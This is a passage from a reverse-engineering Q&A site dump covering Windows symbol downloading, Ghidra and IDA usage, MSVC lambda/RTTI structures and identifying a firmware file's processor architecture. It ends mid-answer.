  <row Id="26601" PostTypeId="2" ParentId="26599" CreationDate="2020-12-21T07:37:57.773" Score="0" Body="&lt;p&gt;You can download all symbols with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;quot;C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\symchk.exe&amp;quot; /r c:\windows /s SRV*c:\symbols\*http://msdl.microsoft.com/download/symbols&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.bleepingcomputer.com/news/microsoft/microsoft-is-no-longer-providing-offline-msi-symbol-packages/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.bleepingcomputer.com/news/microsoft/microsoft-is-no-longer-providing-offline-msi-symbol-packages/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34779" LastActivityDate="2020-12-21T07:37:57.773" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26602" PostTypeId="1" AcceptedAnswerId="26611" CreationDate="2020-12-21T09:09:52.640" Score="1" ViewCount="601" Body="&lt;p&gt;what does this arm instruction means?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;LDRB param_1,[r12,r5]=&amp;gt;local_b0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In particular I don't understand the &amp;quot;=&amp;gt;local_b0&amp;quot; part.&lt;/p&gt;&#xA;&lt;p&gt;Ghidra decompiles it to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;local_b0._0_1_ = *(byte *)((int)&amp;amp;local_b0 + iVar1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but I don't know where the &amp;quot;.&lt;em&gt;0_1&lt;/em&gt;&amp;quot; comes from.&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="35270" LastActivityDate="2020-12-22T19:58:29.190" Title="What does the &quot;=&gt;&quot; sign means in ARM assembly LDR?" Tags="|arm|ghidra|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26606" PostTypeId="2" ParentId="26599" CreationDate="2020-12-21T22:15:00.193" Score="1" Body="&lt;p&gt;official way is as pointed out by other answers use symchk.exe from windbg installation&lt;/p&gt;&#xA;&lt;p&gt;but you can also fetch it by putting together few dbghelp and winsock functions&lt;/p&gt;&#xA;&lt;p&gt;find below a poc that uses wget.exe&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;dbghelp.h&amp;gt;&#xA;#pragma comment(lib,&amp;quot;dbghelp.lib&amp;quot;)&#xA;#pragma comment(lib,&amp;quot;user32.lib&amp;quot;)&#xA;const char *formatstr =&#xA;&amp;quot;wget -c -U=\&amp;quot;Microsoft-Symbol-Server/10.0.0.0\&amp;quot; &amp;quot;&#xA;&amp;quot;\&amp;quot;http://msdl.microsoft.com/download/symbols/&amp;quot;&#xA;&amp;quot;%s/%08x%04x%04x%02x%02x%02x%02x%02x%02x%02x%02x%x/%s\&amp;quot;&amp;quot;;&#xA;char fetchpdb[0x1000];&#xA;int main(int argc,char *argv[]) {&#xA;    if(argc !=2){&#xA;        printf(&amp;quot;usage %s path to binary\n&amp;quot;,argv[0]);&#xA;        exit(0);&#xA;    }&#xA;    SYMSRV_INDEX_INFO syminf ={0};&#xA;    syminf.sizeofstruct = sizeof(SYMSRV_INDEX_INFO);&#xA;    BOOL ret = SymSrvGetFileIndexInfo(argv[1],&amp;amp;syminf,0);&#xA;    if(ret) {&#xA;        wsprintfA(&#xA;        fetchpdb,formatstr,syminf.pdbfile,syminf.guid.Data1,&#xA;        syminf.guid.Data2, syminf.guid.Data3,syminf.guid.Data4[0],&#xA;        syminf.guid.Data4[1],syminf.guid.Data4[2],syminf.guid.Data4[3],&#xA;        syminf.guid.Data4[4],syminf.guid.Data4[5],syminf.guid.Data4[6],&#xA;        syminf.guid.Data4[7],syminf.age,syminf.pdbfile&#xA;        );&#xA;        // Depricated use CreateProcess and/or Winsock functions needs wget.exe in path&#xA;        WinExec(fetchpdb,1);&#xA;    }&#xA;    else {&#xA;        printf(&amp;quot;%x\n&amp;quot;,GetLastError());&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-12-21T22:15:00.193" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26607" PostTypeId="2" ParentId="26584" CreationDate="2020-12-22T01:24:05.017" Score="1" Body="&lt;p&gt;Depending on your tolerance for risk there are a number of things you can do.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/com/B000VS4HDM&quot; rel=&quot;nofollow noreferrer&quot; rel=&quot;nofollow noreferrer&quot;&gt;You will need some sort of an adapter for the hard drive, I'm assuming it's IDE, so IDE to USB.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once you have the adapter you have some choices.&lt;/p&gt;&#xA;&lt;p&gt;The least risky path is to use something to &lt;a href=&quot;https://medium.com/@sebnemK/usb-drive-forensic-analysis-with-kali-linux-57d0ef475c9b&quot; rel=&quot;nofollow noreferrer&quot;&gt;create a disk image of the drive&lt;/a&gt;, ideally bit by bit. This will copy the data off the drive into a file from which you can attempt to recover the data using all manner of tools. For example &lt;a href=&quot;https://www.techrepublic.com/article/how-to-access-a-system-image-and-restore-individual-files-using-windows-10s-native-vhd-support/&quot; rel=&quot;nofollow noreferrer&quot;&gt;mount the image on win10&lt;/a&gt; or using &lt;a href=&quot;https://www.kalilinux.in/2019/09/foremost-kali-linux-recover-deleted-files.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;foremost on kali&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The more risky path is to plug the drive into the IDE to USB adapter and then plug it into your laptop. That may work and you may be able to pull the files up and copy them off.&lt;/p&gt;&#xA;&lt;p&gt;I'd create the image (ISO), and then try mounting the image on windows 10 to see what shows up.&lt;/p&gt;&#xA;&lt;p&gt;Or just plug it in via USB on a windows machine. If you have no reason to believe the drive is damaged, then KISS.&lt;/p&gt;&#xA;" OwnerUserId="34929" LastEditorUserId="34929" LastEditDate="2020-12-22T01:29:05.507" LastActivityDate="2020-12-22T01:29:05.507" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26608" PostTypeId="2" ParentId="15895" CreationDate="2020-12-22T05:20:24.433" Score="5" Body="&lt;p&gt;As of 2020, &lt;a href=&quot;https://ghidra-sre.org/&quot; rel=&quot;noreferrer&quot;&gt;Ghidra&lt;/a&gt; should be considered as a major contender. It is challenging IDA Pro in many areas. The integrated decompiler is one of its greatest assets.&lt;/p&gt;&#xA;&lt;p&gt;The support for debugging was added recently on the official repository. It will be added to the next official build. &lt;a href=&quot;https://twitter.com/megabeets_/status/1339656906625998849&quot; rel=&quot;noreferrer&quot;&gt;Ref&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mpyYf.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mpyYf.png&quot; alt=&quot;Main Window&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="139" LastActivityDate="2020-12-22T05:20:24.433" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26609" PostTypeId="1" CreationDate="2020-12-22T14:03:31.437" Score="2" ViewCount="706" Body="&lt;p&gt;I am trying to setup a conditional breakpoint to catch a specific string (&amp;quot;Sessions&amp;quot;) that will be on &lt;code&gt;ESI&lt;/code&gt; register but it catches everything:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/K0VEC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K0VEC.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I also tried with dereferenced register &lt;code&gt;[ESI] == &amp;quot;Sessions&amp;quot;&lt;/code&gt; but it didn't work.&lt;br /&gt;&#xA;What is the problem with my conditional breakpoint?&lt;/p&gt;&#xA;" OwnerUserId="18080" LastActivityDate="2022-11-08T06:15:46.047" Title="Conditional breakpoint on register containing string catch everything" Tags="|x64dbg|breakpoint|register|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26611" PostTypeId="2" ParentId="26602" CreationDate="2020-12-22T19:58:29.190" Score="2" Body="&lt;p&gt;Seems like you've already figured this out, but this is a Ghidra markup. It can be enabled/disabled via &lt;code&gt;Edit -&amp;gt; Tool Options -&amp;gt; Listing Fields -&amp;gt; Operands Field -&amp;gt; Always Show Primary Reference&lt;/code&gt; Here's what the help says about the option:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Always Show Primary Reference&lt;/strong&gt; - Option to force the display of the primary reference on all operands.  If a suitable sub-operand replacement can not be identified the primary reference will be appended to the operand preceded by a &amp;quot;=&amp;gt;&amp;quot; prefix.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18563" LastActivityDate="2020-12-22T19:58:29.190" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26612" PostTypeId="2" ParentId="16154" CreationDate="2020-12-23T03:52:01.890" Score="1" Body="&lt;p&gt;It is proposed in the official document of arm&#xA;&lt;a href=&quot;https://i.stack.imgur.com/4HSRM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4HSRM.png&quot; alt=&quot;arm1&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;When s = 1 and RD = R15 (PC), this instruction is used to save the status register CPSR, not to do calculation&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ncauL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ncauL.png&quot; alt=&quot;arm2&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35323" LastActivityDate="2020-12-23T03:52:01.890" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26613" PostTypeId="1" CreationDate="2020-12-23T04:12:16.233" Score="2" ViewCount="304" Body="&lt;p&gt;I am curious to know if anyone has done anything similar to what I am looking to achieve...&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I have a .ipa file (iOS application) that I load into to Hopper Disassembler.&lt;/li&gt;&#xA;&lt;li&gt;I search for a string to prompt me to a location that I traverse to patch.&lt;/li&gt;&#xA;&lt;li&gt;Patch the instruction as needed.&lt;/li&gt;&#xA;&lt;li&gt;Recompile and create a new executable.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Coding this isn't what I am struggling with. Finding &lt;em&gt;what&lt;/em&gt; tools to use is. I am pretty experienced with Python, but am open to using any language to patch and create a new executable automatically. Has anyone automated a workflow like this before? I know this stack exchange should be more geared towards specific reverse engineering questions, but I figured this might be the best place to post my question. Thanks to all of those who reply in advance.&lt;/p&gt;&#xA;" OwnerUserId="35324" LastActivityDate="2020-12-23T04:12:16.233" Title="Automating binary patching in Hopper Disassembler using python" Tags="|python|executable|patching|hopper|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26614" PostTypeId="1" AcceptedAnswerId="26627" CreationDate="2020-12-23T10:57:59.270" Score="2" ViewCount="418" Body="&lt;p&gt;I'm working on reversing a C++ application and I've come across a structure that contains a getter function that returns &lt;code&gt;TypeDescriptor*&lt;/code&gt;, I've read some articles on RTTI and reversing C++ but can't find a structure that matches what I'm seeing.&lt;/p&gt;&#xA;&lt;p&gt;It &lt;em&gt;seems&lt;/em&gt; to be a compiler generated structure because of the &lt;code&gt;TypeDescriptor&lt;/code&gt; getter? I'm hoping someone can point me in the right direction. There's multiple of these structures, they are in mostly contiguous but not completely as far as I can see.&lt;/p&gt;&#xA;&lt;p&gt;Pseudo code for the struct looks like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// These are all function pointers&#xA;class SomeClazz&#xA;{&#xA;    // func1/func2 are pointers to the same function. It looks like a constructor.&#xA;    void* func1(void* param1, void** param2);&#xA;    void* func2(void* param1, void** param2);&#xA;    // This function differs depending on the class. I believe this to be a implementation of a virtual function maybe?&#xA;    virtual void handler();&#xA;    // Returns a pointer to a RTTI TypeDescriptor depending on the class&#xA;    TypeDescriptor* get_type_descriptor();&#xA;    void get_something();&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here's code in the &lt;code&gt;func1/2&lt;/code&gt; functions in case there's a hint of what it is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;undefined ** FUN_00125860(longlong param_1,undefined **param_2)&#xA;&#xA;{&#xA;  undefined4 uVar1;&#xA;  undefined4 uVar2;&#xA;  undefined4 uVar3;&#xA;  &#xA;  *param_2 = (undefined *)&amp;amp;Vftable_maybe_00589ef0;&#xA;  uVar1 = *(undefined4 *)(param_1 + 0xc);&#xA;  uVar2 = *(undefined4 *)(param_1 + 0x10);&#xA;  uVar3 = *(undefined4 *)(param_1 + 0x14);&#xA;  *(undefined4 *)(param_2 + 1) = *(undefined4 *)(param_1 + 8);&#xA;  *(undefined4 *)((longlong)param_2 + 0xc) = uVar1;&#xA;  *(undefined4 *)(param_2 + 2) = uVar2;&#xA;  *(undefined4 *)((longlong)param_2 + 0x14) = uVar3;&#xA;  return param_2;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here's &lt;code&gt;get_type_descriptor&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;TypeDescriptor * class::get_type_descriptor(void)&#xA;&#xA;{&#xA;  return &amp;amp;class_&amp;lt;lambda_88a0d3301c644a20c1df3ad0c52a86e4&amp;gt;_RTTI_Type_Descriptor;&#xA;}&#xA;&#xA;////////////&#xA;LEA RAX, [class_&amp;lt;lambda_88a0d3301c644a20c1df3ad0c52 ...]&#xA;RET&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here's &lt;code&gt;get_something&lt;/code&gt;, not sure what the purpose is or what it's doing:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;LEA RAX, [RCX+0x8]&#xA;RET&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Any help/suggestions would be great. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="19294" LastActivityDate="2020-12-26T05:15:35.667" Title="C++ structure containing a RTTI getter function?" Tags="|binary-analysis|c++|ghidra|struct|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26615" PostTypeId="2" ParentId="26614" CreationDate="2020-12-23T15:13:08.260" Score="3" Body="&lt;p&gt;IIRC the &lt;a href=&quot;https://en.cppreference.com/w/cpp/language/typeid&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;typeid&lt;/code&gt; operator&lt;/a&gt; returns a pointer to a type info instance.&lt;/p&gt;&#xA;&lt;p&gt;Overall the code looks like a &lt;a href=&quot;https://en.cppreference.com/w/cpp/language/lambda&quot; rel=&quot;nofollow noreferrer&quot;&gt;lambda expression&lt;/a&gt; implementation; the “constructor” captures the context so that the “handler” (lambda body) can access the variables it needs from the outer scope.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-12-23T15:13:08.260" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26617" PostTypeId="1" AcceptedAnswerId="26620" CreationDate="2020-12-24T16:27:23.117" Score="4" ViewCount="643" Body="&lt;p&gt;I have a text file and I know that it is a firmware of a device. This file have &lt;a href=&quot;https://en.wikipedia.org/wiki/Intel_HEX&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intel Hex Format&lt;/a&gt; as below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;:03:8000:00:028100FA&#xA;:02:8003:00:XXXXXX&#xA;:02:800B:00:XXXXXX&#xA;:02:8013:00:XXXXXX&#xA;:01:801B:00:XXXX&#xA;:01:8023:00:XXXX&#xA;:10:802B:00:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&#xA;:10:803B:00:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&#xA;:10:804B:00:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&#xA;:10:805B:00:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How can I find out what type of processor (Intel/ARM/PIC/...) this file belongs to? And how can I disassemble it?&lt;/p&gt;&#xA;&lt;p&gt;Frequency of bytes:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ebra@him:~$ cat single-byte-per-line | sort | uniq -c | sort -n&#xA;      1 &#xA;      3 59&#xA;      5 4C&#xA;      6 49&#xA;      6 57&#xA;      6 5D&#xA;      8 47&#xA;      8 48&#xA;      8 4A&#xA;      8 4E&#xA;      8 52&#xA;     10 C6&#xA;     11 7E&#xA;     11 8F&#xA;     11 9B&#xA;     12 51&#xA;     12 8E&#xA;     12 95&#xA;     12 9C&#xA;     12 9D&#xA;     12 B7&#xA;     12 CE&#xA;     13 CF&#xA;     14 27&#xA;     14 55&#xA;     14 56&#xA;     14 58&#xA;     14 5C&#xA;     14 7F&#xA;     15 73&#xA;     15 8D&#xA;     15 9E&#xA;     15 C7&#xA;     15 D6&#xA;     16 5F&#xA;     16 D7&#xA;     17 1B&#xA;     17 A5&#xA;     17 C8&#xA;     17 CB&#xA;     18 AF&#xA;     18 B1&#xA;     19 46&#xA;     19 5A&#xA;     19 8B&#xA;     19 C1&#xA;     20 D9&#xA;     20 ED&#xA;     21 72&#xA;     21 94&#xA;     21 A6&#xA;     22 43&#xA;     22 4F&#xA;     22 71&#xA;     22 AC&#xA;     22 B9&#xA;     22 C9&#xA;     23 9F&#xA;     23 A3&#xA;     23 BE&#xA;     24 42&#xA;     24 AD&#xA;     24 BD&#xA;     24 BF&#xA;     24 E9&#xA;     25 4D&#xA;     25 CC&#xA;     26 87&#xA;     26 A1&#xA;     26 B8&#xA;     26 E8&#xA;     27 69&#xA;     27 6F&#xA;     27 88&#xA;     28 F1&#xA;     29 53&#xA;     29 5E&#xA;     29 61&#xA;     29 77&#xA;     29 BC&#xA;     30 45&#xA;     30 AB&#xA;     31 1A&#xA;     32 86&#xA;     33 1E&#xA;     33 4B&#xA;     34 1C&#xA;     35 1F&#xA;     35 67&#xA;     36 BB&#xA;     36 EA&#xA;     37 98&#xA;     37 99&#xA;     37 DD&#xA;     37 F4&#xA;     37 FD&#xA;     38 2C&#xA;     38 B2&#xA;     40 3B&#xA;     40 EE&#xA;     41 25&#xA;     41 97&#xA;     41 E7&#xA;     42 2D&#xA;     42 D4&#xA;     42 EF&#xA;     43 1D&#xA;     43 8C&#xA;     44 5B&#xA;     44 96&#xA;     44 DC&#xA;     46 28&#xA;     46 3A&#xA;     46 D5&#xA;     46 DF&#xA;     46 F7&#xA;     46 FE&#xA;     47 76&#xA;     47 7D&#xA;     48 C5&#xA;     48 FC&#xA;     49 D8&#xA;     50 35&#xA;     53 0E&#xA;     53 B5&#xA;     57 BA&#xA;     57 E6&#xA;     58 A7&#xA;     58 C4&#xA;     58 CA&#xA;     59 19&#xA;     59 21&#xA;     59 AA&#xA;     62 3D&#xA;     62 A8&#xA;     63 93&#xA;     63 A9&#xA;     65 34&#xA;     65 8A&#xA;     65 B0&#xA;     65 F6&#xA;     67 AE&#xA;     67 D1&#xA;     68 31&#xA;     69 EC&#xA;     70 26&#xA;     70 41&#xA;     71 14&#xA;     71 81&#xA;     72 23&#xA;     72 3E&#xA;     72 65&#xA;     72 B6&#xA;     74 F8&#xA;     75 44&#xA;     75 6B&#xA;     76 64&#xA;     76 7C&#xA;     76 92&#xA;     77 FF&#xA;     78 37&#xA;     78 91&#xA;     78 B3&#xA;     79 2F&#xA;     80 A0&#xA;     82 38&#xA;     84 A2&#xA;     85 DA&#xA;     87 0D&#xA;     90 24&#xA;     91 6D&#xA;     91 A4&#xA;     93 18&#xA;     95 62&#xA;     95 CD&#xA;     96 0B&#xA;     96 3C&#xA;     99 68&#xA;     99 E4&#xA;    101 6C&#xA;    103 50&#xA;    106 63&#xA;    109 39&#xA;    109 3F&#xA;    109 DE&#xA;    111 6E&#xA;    112 6A&#xA;    115 E1&#xA;    116 36&#xA;    117 70&#xA;    117 89&#xA;    118 D3&#xA;    128 17&#xA;    131 FB&#xA;    134 D0&#xA;    137 54&#xA;    146 FA&#xA;    149 0C&#xA;    151 0A&#xA;    154 F9&#xA;    164 60&#xA;    173 C3&#xA;    174 2A&#xA;    183 DB&#xA;    184 C0&#xA;    185 29&#xA;    185 E3&#xA;    189 16&#xA;    191 83&#xA;    200 2E&#xA;    203 9A&#xA;    204 66&#xA;    207 F3&#xA;    212 15&#xA;    212 20&#xA;    220 0F&#xA;    221 7B&#xA;    226 7A&#xA;    240 33&#xA;    241 E2&#xA;    242 F5&#xA;    244 EB&#xA;    247 30&#xA;    247 32&#xA;    255 2B&#xA;    256 06&#xA;    261 10&#xA;    275 13&#xA;    284 07&#xA;    286 40&#xA;    288 E0&#xA;    309 84&#xA;    311 85&#xA;    313 03&#xA;    321 04&#xA;    325 22&#xA;    326 C2&#xA;    327 F2&#xA;    333 01&#xA;    333 79&#xA;    344 82&#xA;    353 90&#xA;    357 11&#xA;    362 F0&#xA;    376 80&#xA;    414 05&#xA;    422 78&#xA;    436 09&#xA;    467 74&#xA;    489 D2&#xA;    570 08&#xA;    656 E5&#xA;    889 B4&#xA;   1301 12&#xA;   1369 02&#xA;   1717 00&#xA;   2081 75&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And if I extract all 2-byte sequences which starts with &lt;code&gt;75&lt;/code&gt;, I have:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ebra@him:~$ cat sequence-starts-with-75 | grep -o .... | sort | uniq -c | sort -n&#xA;      1 7505&#xA;      1 750D&#xA;      1 750E&#xA;      1 7514&#xA;      1 7519&#xA;      1 751F&#xA;      1 7521&#xA;      1 7522&#xA;      1 7526&#xA;      1 7527&#xA;      1 752D&#xA;      1 7530&#xA;      1 7545&#xA;      1 7547&#xA;      1 7548&#xA;      1 754D&#xA;      1 754F&#xA;      1 7557&#xA;      1 755F&#xA;      1 7560&#xA;      1 756F&#xA;      1 7570&#xA;      1 7571&#xA;      1 7572&#xA;      1 7573&#xA;      1 7581&#xA;      1 7587&#xA;      1 758B&#xA;      1 7594&#xA;      1 75A8&#xA;      1 75B8&#xA;      1 75C8&#xA;      1 75CA&#xA;      1 75CB&#xA;      1 75CC&#xA;      1 75CD&#xA;      1 75E5&#xA;      1 75F2&#xA;      2 7501&#xA;      2 7510&#xA;      2 751D&#xA;      2 7525&#xA;      2 7534&#xA;      2 7536&#xA;      2 753C&#xA;      2 753D&#xA;      2 7566&#xA;      2 758D&#xA;      2 7598&#xA;      2 7599&#xA;      2 75B4&#xA;      2 75D0&#xA;      2 75D4&#xA;      3 7523&#xA;      3 752F&#xA;      3 757A&#xA;      3 758C&#xA;      4 752E&#xA;      4 753A&#xA;      6 7535&#xA;      6 7537&#xA;      6 753B&#xA;      6 753F&#xA;      6 7567&#xA;      6 7569&#xA;      7 7500&#xA;      7 7540&#xA;      7 757B&#xA;      7 758A&#xA;      8 757C&#xA;      8 75A0&#xA;     10 7524&#xA;     11 7563&#xA;     11 7574&#xA;     11 7576&#xA;     11 7577&#xA;     11 7579&#xA;     12 7518&#xA;     13 7575&#xA;     14 752C&#xA;     16 7565&#xA;     16 7578&#xA;     17 7517&#xA;     17 75F0&#xA;     18 7528&#xA;     18 7564&#xA;     19 7539&#xA;     19 753E&#xA;     27 7562&#xA;     37 7515&#xA;     37 7583&#xA;     38 7516&#xA;     45 7533&#xA;     49 756A&#xA;     49 756B&#xA;     50 756C&#xA;     52 756E&#xA;     53 756D&#xA;     58 7532&#xA;     68 7512&#xA;     73 7568&#xA;    141 752B&#xA;    143 7529&#xA;    144 752A&#xA;    169 7582&#xA;    204 7513&#xA;    248 7511&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For 3-bytes sequences which starts with 75:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    ebra@him:~$ cat sequence-starts-with-75 | grep -o ...... | sort | uniq -c | sort -n&#xA;  .. [Truncated] ...&#xA;  6 750075&#xA;  6 752B03&#xA;  6 752B08&#xA;  6 753269&#xA;  6 753F00&#xA;  6 756BA4&#xA;  6 757500&#xA;  6 757800&#xA;  6 758204&#xA;  6 758205&#xA;  6 75820B&#xA;  6 75F000&#xA;  7 75120A&#xA;  7 752801&#xA;  7 752B05&#xA;  7 756E08&#xA;  8 751101&#xA;  8 752910&#xA;  8 756BC0&#xA;  8 756D0C&#xA;  8 757400&#xA;  8 75A000&#xA;  9 751104&#xA;  9 752803&#xA;  9 758200&#xA;  9 758203&#xA; 10 752901&#xA; 10 752C80&#xA; 10 756BB2&#xA; 11 751864&#xA; 11 753200&#xA; 11 756ABC&#xA; 11 758208&#xA; 12 753290&#xA; 13 751210&#xA; 14 752B01&#xA; 14 752B10&#xA; 14 753910&#xA; 14 756C01&#xA; 14 75820F&#xA; 15 752B06&#xA; 16 753E00&#xA; 16 756BB0&#xA; 17 7517FF&#xA; 17 75326A&#xA; 17 753300&#xA; 18 752906&#xA; 19 756811&#xA; 19 756E00&#xA; 19 758209&#xA; 20 758201&#xA; 21 752904&#xA; 21 752B04&#xA; 22 756D00&#xA; 23 756C00&#xA; 24 75820A&#xA; 30 756A00&#xA; 34 758202&#xA; 35 752902&#xA; 36 758301&#xA; 37 752905&#xA; 46 752B02&#xA; 46 756810&#xA; 65 751103&#xA; 77 751102&#xA; 79 751100&#xA;142 752A00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20930" LastEditorUserId="20930" LastEditDate="2020-12-25T09:17:04.013" LastActivityDate="2020-12-25T10:35:37.067" Title="How can I find out what type of processor an Intel Hex file belongs to?" Tags="|disassembly|arm|intel|pic|unknown-data|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26618" PostTypeId="2" ParentId="26617" CreationDate="2020-12-24T16:45:36.283" Score="2" Body="&lt;p&gt;You can't - the &lt;code&gt;Intel hex&lt;/code&gt; format doesn't hold this kind of data. You need to manually look for the correct architecture. You can use &lt;code&gt;IDA&lt;/code&gt; or &lt;code&gt;Ghidra&lt;/code&gt; for that and open in the following for each architecture it might be.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5Wirb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Wirb.png&quot; alt=&quot;IDA&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then you need to disassemble the whole file and look if it makes sense. (Control flow, number of functions, xrefs,...)&lt;/p&gt;&#xA;&lt;p&gt;Or of course, use some scripting for that.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastEditorUserId="31278" LastEditDate="2020-12-25T10:35:37.067" LastActivityDate="2020-12-25T10:35:37.067" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26620" PostTypeId="2" ParentId="26617" CreationDate="2020-12-24T19:09:28.953" Score="3" Body="&lt;p&gt;This sounds analogous to given a document, infer the language.&lt;/p&gt;&#xA;&lt;p&gt;I'd compare the frequency (count for each value in the file) of instructions with the frequency of instructions derived from files for known processor types.&lt;/p&gt;&#xA;&lt;p&gt;Effectively a &lt;a href=&quot;https://en.wikipedia.org/wiki/Language_model&quot; rel=&quot;nofollow noreferrer&quot;&gt;unigram model&lt;/a&gt;.  If you source the files in a common format I can give you a hand.&lt;/p&gt;&#xA;" OwnerUserId="34929" LastActivityDate="2020-12-24T19:09:28.953" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="26622" PostTypeId="2" ParentId="18063" CreationDate="2020-12-25T01:39:20.547" Score="0" Body="&lt;p&gt;Excellent work @LighFusion and @bravosierra99.  Since I ended up here after looking for the Python solution, I'll paste it for anybody else.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;widget = ida_kernwin.find_widget('Pseudocode-Y') &#xA;vu = ida_hexrays.get_widget_vdui(widget) &#xA;vu.rename_lvar(vu.cfunc.lvars[2], &amp;quot;pModelInfo&amp;quot;, 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;@Igor Skochinsky -- I just think it would just be common decency to make source or documentation available regarding how the existing basic [context] menu functionality works, so people have something to build on.  I can't count the number of times I've been unable to fully replicate some basic inbuilt menu option, watching scripts constantly fail when I can manually perform the operation and it works perfectly.&lt;/p&gt;&#xA;&lt;p&gt;Here's a more complete example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def rename_lvar(src, dst, ea):&#xA;    #  if you want to use an existing view:&#xA;    #      widget = ida_kernwin.find_widget('Pseudocode-Y')&#xA;    #      vu = ida_hexrays.get_widget_vdui(widget)&#xA;    func = idaapi.get_func(ea)&#xA;    if func:&#xA;        ea = func.start_ea&#xA;        vu = idaapi.open_pseudocode(ea, 0)&#xA;        lvars = [n for n in vu.cfunc.lvars if n.name == src]&#xA;        if 